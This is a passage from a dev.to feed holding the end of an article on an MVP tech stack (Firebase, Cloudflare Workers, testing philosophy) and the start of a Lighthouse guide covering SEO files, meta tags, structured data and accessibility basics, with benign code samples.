&lt;li&gt;Serverless Cloud Functions (still genuinely good)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What Firebase lacks: vector search and predictable pricing. If you're building anything with embeddings or AI-powered recommendations, Firebase can't help. And Firestore's per-read/per-write billing model means you're constantly optimizing—batching operations, denormalizing data, caching aggressively—just to avoid surprise bills. PostgreSQL charges for storage and compute, not every query. For cost-conscious MVPs, that predictability matters.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Real-time listener&lt;/span&gt;
&lt;span class="nf"&gt;onSnapshot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;rooms&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;roomId&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Room updated:&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;data&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; Chat apps, collaborative tools, mobile-first products.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cloudflare Workers + D1: Edge Everything
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;When to use:&lt;/strong&gt; Simple APIs, global latency matters, cost-sensitive.&lt;/p&gt;

&lt;p&gt;Workers run at the edge—200+ data centers worldwide. D1 is SQLite at the edge.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Worker handling API request&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;DB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SELECT * FROM items&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; URL shorteners, simple CRUD APIs, serverless functions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Our Philosophy
&lt;/h3&gt;

&lt;p&gt;Start with the simplest backend that works:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Can you avoid a backend entirely? (Static site + third-party APIs)&lt;/li&gt;
&lt;li&gt;Can Supabase client-side handle it? (Auth + database, no custom server)&lt;/li&gt;
&lt;li&gt;Do you need custom logic? (Add Workers or Supabase Edge Functions)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Avoid premature backend complexity. Many MVPs ship with just Supabase client-side calls.&lt;/p&gt;




&lt;h2&gt;
  
  
  Testing: 90%+ Coverage Non-Negotiable
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why We Don't Skip Tests
&lt;/h3&gt;

&lt;p&gt;SeatGenius has a seating algorithm for concert venues—filling rows optimally based on party sizes and RSVP order, ensuring companions sit together, handling edge cases when parties don't fit neatly. Multiple seating strategies, each with different prioritization logic.&lt;/p&gt;

&lt;p&gt;We wrote the tests first—over a million iterations to prove the algorithm handled every edge case before shipping. Result: worked on the first deploy. No production bugs. No rewrites. When we add features, the test suite catches regressions instantly.&lt;/p&gt;

&lt;p&gt;The alternative is familiar to every developer: ship fast, then spend weeks chasing bugs that only appear in production. Fix one thing, break another. The codebase becomes something you're afraid to touch.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Math
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Without tests:&lt;/strong&gt; Ship fast initially, then slow down as bugs compound&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;With tests:&lt;/strong&gt; +20% time upfront, -40% debugging later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a 4-week MVP:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No tests: 4 weeks to ship, 2 weeks fixing bugs = 6 weeks&lt;/li&gt;
&lt;li&gt;With tests: 5 weeks to ship, minimal bug fixes = 5 weeks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Tests are faster. They just feel slower because the investment is upfront.&lt;/p&gt;

&lt;h3&gt;
  
  
  What We Test
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Unit tests (Vitest):&lt;/strong&gt; Pure functions, utilities, data transformations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Component tests:&lt;/strong&gt; Vue components render correctly with different props&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integration tests:&lt;/strong&gt; API calls, Pinia stores, data flows&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;E2E tests (Playwright):&lt;/strong&gt; Critical user journeys, checkout flows, auth&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Public Coverage Reports
&lt;/h3&gt;

&lt;p&gt;Every demo has a public coverage report at &lt;code&gt;coverage.[demo].codecrank.ai&lt;/code&gt;. We're not hiding anything. Check the numbers yourself.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Honest Take
&lt;/h2&gt;

&lt;p&gt;Every choice has trade-offs. Here's when to ignore our advice:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use React if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your team is already expert in React&lt;/li&gt;
&lt;li&gt;You need React Native for mobile&lt;/li&gt;
&lt;li&gt;You're joining a React-heavy company&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Use Vercel if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You're building with Next.js SSR&lt;/li&gt;
&lt;li&gt;You're already on their Pro plan&lt;/li&gt;
&lt;li&gt;You need their enterprise features&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Skip tests if:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It's a throwaway prototype (truly throwaway, not "we'll add tests later")&lt;/li&gt;
&lt;li&gt;You're validating an idea in a weekend&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We're not dogmatic. We're optimized for small teams shipping MVPs in 2-4 weeks. If that's not you, adapt accordingly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Our stack isn't revolutionary. Vue, Nuxt, Cloudflare, Supabase—these are established tools. What matters is the combination and the discipline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Vue over React:&lt;/strong&gt; Independent teams, cleaner code, faster development&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nuxt over Next:&lt;/strong&gt; Batteries included, SSG for free hosting&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloudflare over Vercel:&lt;/strong&gt; No restrictions, unlimited team, $0/month&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supabase/Firebase/Workers:&lt;/strong&gt; Right tool for the job, not one-size-fits-all&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;90%+ test coverage:&lt;/strong&gt; Slower start, faster finish&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Eight demos. All 90-100/100 PageSpeed. All $0/month hosting. All delivered in 2-4 weeks.&lt;/p&gt;

&lt;p&gt;The stack works. We've proved it. Now you know why.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Next in series:&lt;/strong&gt; &lt;a href="https://codecrank.ai/blog/seo-setup-checklist/" rel="noopener noreferrer"&gt;The Complete Lighthouse Guide&lt;/a&gt; covers SEO, accessibility, and best practices for perfect scores.&lt;/p&gt;

</description>
      <category>vue</category>
      <category>webdev</category>
      <category>javascript</category>
      <category>startup</category>
    </item>
    <item>
      <title>The Complete Lighthouse Guide: SEO, Accessibility &amp; Best Practices for Perfect Scores</title>
      <dc:creator>Daniel Tofan</dc:creator>
      <pubDate>Mon, 08 Dec 2025 17:01:49 +0000</pubDate>
      <link>https://dev.to/danieltofan/the-complete-lighthouse-guide-seo-accessibility-best-practices-for-perfect-scores-1ifk</link>
      <guid>https://dev.to/danieltofan/the-complete-lighthouse-guide-seo-accessibility-best-practices-for-perfect-scores-1ifk</guid>
      <description>&lt;p&gt;Google Lighthouse scores your website on four metrics: Performance, Accessibility, Best Practices, and SEO. Most developers focus on Performance and ignore the rest. That's a mistake.&lt;/p&gt;

&lt;p&gt;In my previous articles, I covered Performance optimization in detail—&lt;a href="https://dev.to/danieltofan/how-to-achieve-100100-on-pagespeed-insights-39e9" rel="noopener"&gt;how to achieve 100/100 on PageSpeed&lt;/a&gt; and &lt;a href="https://dev.to/danieltofan/why-professional-websites-score-30-50100-on-pagespeed-4ap1" rel="noopener"&gt;why professional websites often score poorly&lt;/a&gt;. Those techniques handle the Performance pillar.&lt;/p&gt;

&lt;p&gt;This guide completes the picture. We'll cover the three remaining pillars: SEO, Accessibility, and Best Practices. Together with the Performance techniques from the earlier articles, you'll have everything needed to achieve 100/100 across all four metrics.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why all four matter:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Performance&lt;/strong&gt; affects load times and user experience&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SEO&lt;/strong&gt; determines whether Google can find and rank your site&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accessibility&lt;/strong&gt; ensures everyone can use your site, including people with disabilities&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Best Practices&lt;/strong&gt; covers security, modern standards, and technical correctness&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On every demo site I've built, SEO, Accessibility, and Best Practices score 100/100—no exceptions. Performance occasionally dips a few points on mobile (Nuxt overhead, Cloudflare scripts), but typically hits 100 as well. Seven out of eight scores are always perfect; often all eight are. This guide documents exactly how.&lt;/p&gt;




&lt;h2&gt;
  
  
  SEO: Making Your Site Discoverable
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Foundation Files
&lt;/h3&gt;

&lt;p&gt;Before Google indexes your site, it checks two files: &lt;code&gt;robots.txt&lt;/code&gt; and &lt;code&gt;sitemap.xml&lt;/code&gt;. Missing these doesn't break your site, but it slows discovery significantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;robots.txt&lt;/strong&gt; tells crawlers which pages to index. Place it at your site root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-agent: *
Allow: /
Sitemap: https://yoursite.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Common mistakes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Using &lt;code&gt;Disallow: /&lt;/code&gt; (blocks all crawlers—your site won't be indexed)&lt;/li&gt;
&lt;li&gt;Forgetting the sitemap reference&lt;/li&gt;
&lt;li&gt;Wrong file location (must be at root, not in a subfolder)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;sitemap.xml&lt;/strong&gt; maps all your pages. For small sites, write it manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;urlset&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.sitemaps.org/schemas/sitemap/0.9"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;url&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;https://yoursite.com/&lt;span class="nt"&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;lastmod&amp;gt;&lt;/span&gt;2025-12-07&lt;span class="nt"&gt;&amp;lt;/lastmod&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;priority&amp;gt;&lt;/span&gt;1.0&lt;span class="nt"&gt;&amp;lt;/priority&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;url&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;https://yoursite.com/about&lt;span class="nt"&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;priority&amp;gt;&lt;/span&gt;0.8&lt;span class="nt"&gt;&amp;lt;/priority&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/urlset&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Strategy tip:&lt;/strong&gt; Less is more. Don't index everything. Your Terms of Service page doesn't need to rank.&lt;/p&gt;

&lt;h3&gt;
  
  
  Meta Tags That Matter
&lt;/h3&gt;

&lt;p&gt;Search engines and social platforms read specific HTML tags. Missing these means broken-looking links when shared.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Essential tags in your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Page basics --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Your Page Title - Under 60 Characters&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"description"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"150-160 characters. Shows in search results."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"canonical"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"https://yoursite.com/page-url"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Open Graph (Facebook, LinkedIn, Slack) --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:title"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"Your Page Title"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:description"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"Same as meta description"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:url"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"https://yoursite.com/page-url"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:image"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"https://yoursite.com/og-image.jpg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:image:width"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"1200"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:image:height"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"630"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;property=&lt;/span&gt;&lt;span class="s"&gt;"og:type"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"website"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="c"&gt;&amp;lt;!-- Twitter/X --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"twitter:card"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"summary_large_image"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"twitter:title"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"Your Page Title"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"twitter:image"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"https://yoursite.com/og-image.jpg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Common mistakes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Title over 60 characters (Google truncates with "...")&lt;/li&gt;
&lt;li&gt;Missing OG image dimensions (Facebook won't show preview)&lt;/li&gt;
&lt;li&gt;Forgetting the &lt;code&gt;lang&lt;/code&gt; attribute on &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; (fails Lighthouse accessibility check)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Structured Data (JSON-LD)
&lt;/h3&gt;

&lt;p&gt;Structured data tells Google what type of content you have, enabling rich results in search:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"application/ld+json"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@context&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://schema.org&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@type&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Organization&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Your Company&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;url&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://yoursite.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;logo&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://yoursite.com/logo.png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;sameAs&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://twitter.com/yourcompany&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://linkedin.com/company/yourcompany&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Other useful types:&lt;/strong&gt; &lt;code&gt;Person&lt;/code&gt; (portfolios), &lt;code&gt;LocalBusiness&lt;/code&gt; (physical locations), &lt;code&gt;Article&lt;/code&gt; (blog posts), &lt;code&gt;FAQPage&lt;/code&gt; (can display directly in search results).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing:&lt;/strong&gt; Use &lt;a href="https://search.google.com/test/rich-results" rel="noopener noreferrer"&gt;Google's Rich Results Test&lt;/a&gt; to validate your JSON-LD.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cloudflare Users: Check Scrape Shield
&lt;/h3&gt;

&lt;p&gt;If you're on Cloudflare, check your Scrape Shield settings. The default "Email Address Obfuscation" injects a 500ms render-blocking script into every page. I lost 8 points on multiple demos before catching this.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Security → Scrape Shield → Disable "Email Address Obfuscation"&lt;/p&gt;




&lt;h2&gt;
  
  
  Accessibility: Building for Everyone
&lt;/h2&gt;

&lt;p&gt;Accessibility isn't charity—it's good engineering. An accessible site works better for everyone: keyboard users, screen reader users, people with slow connections, and users on mobile devices.&lt;/p&gt;

&lt;h3&gt;
  
  
  Semantic HTML Structure
&lt;/h3&gt;

&lt;p&gt;Lighthouse checks for proper HTML landmarks. Missing these fails the accessibility audit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Required landmarks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;header&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;nav&amp;gt;&lt;/span&gt;&lt;span class="c"&gt;&amp;lt;!-- Navigation here --&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/nav&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/header&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;main&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!-- All primary content MUST be inside &amp;lt;main&amp;gt; --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;article&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Page Title&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
    &lt;span class="c"&gt;&amp;lt;!-- Content --&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/article&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/main&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;footer&amp;gt;&lt;/span&gt;
  &lt;span class="c"&gt;&amp;lt;!-- Footer content --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/footer&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The &lt;code&gt;&amp;lt;main&amp;gt;&lt;/code&gt; element is critical.&lt;/strong&gt; Lighthouse specifically checks for it. Screen readers use it to skip navigation and jump directly to content.&lt;/p&gt;

&lt;h3&gt;
  
  
  Heading Hierarchy
&lt;/h3&gt;

&lt;p&gt;Use one &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; per page. Follow logical order: h1 → h2 → h3. Never skip levels (no h1 → h3).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why this matters:&lt;/strong&gt; Screen reader users navigate by headings. Skipped levels confuse navigation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Color Contrast
&lt;/h3&gt;

&lt;p&gt;WCAG AA requires minimum contrast ratios:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
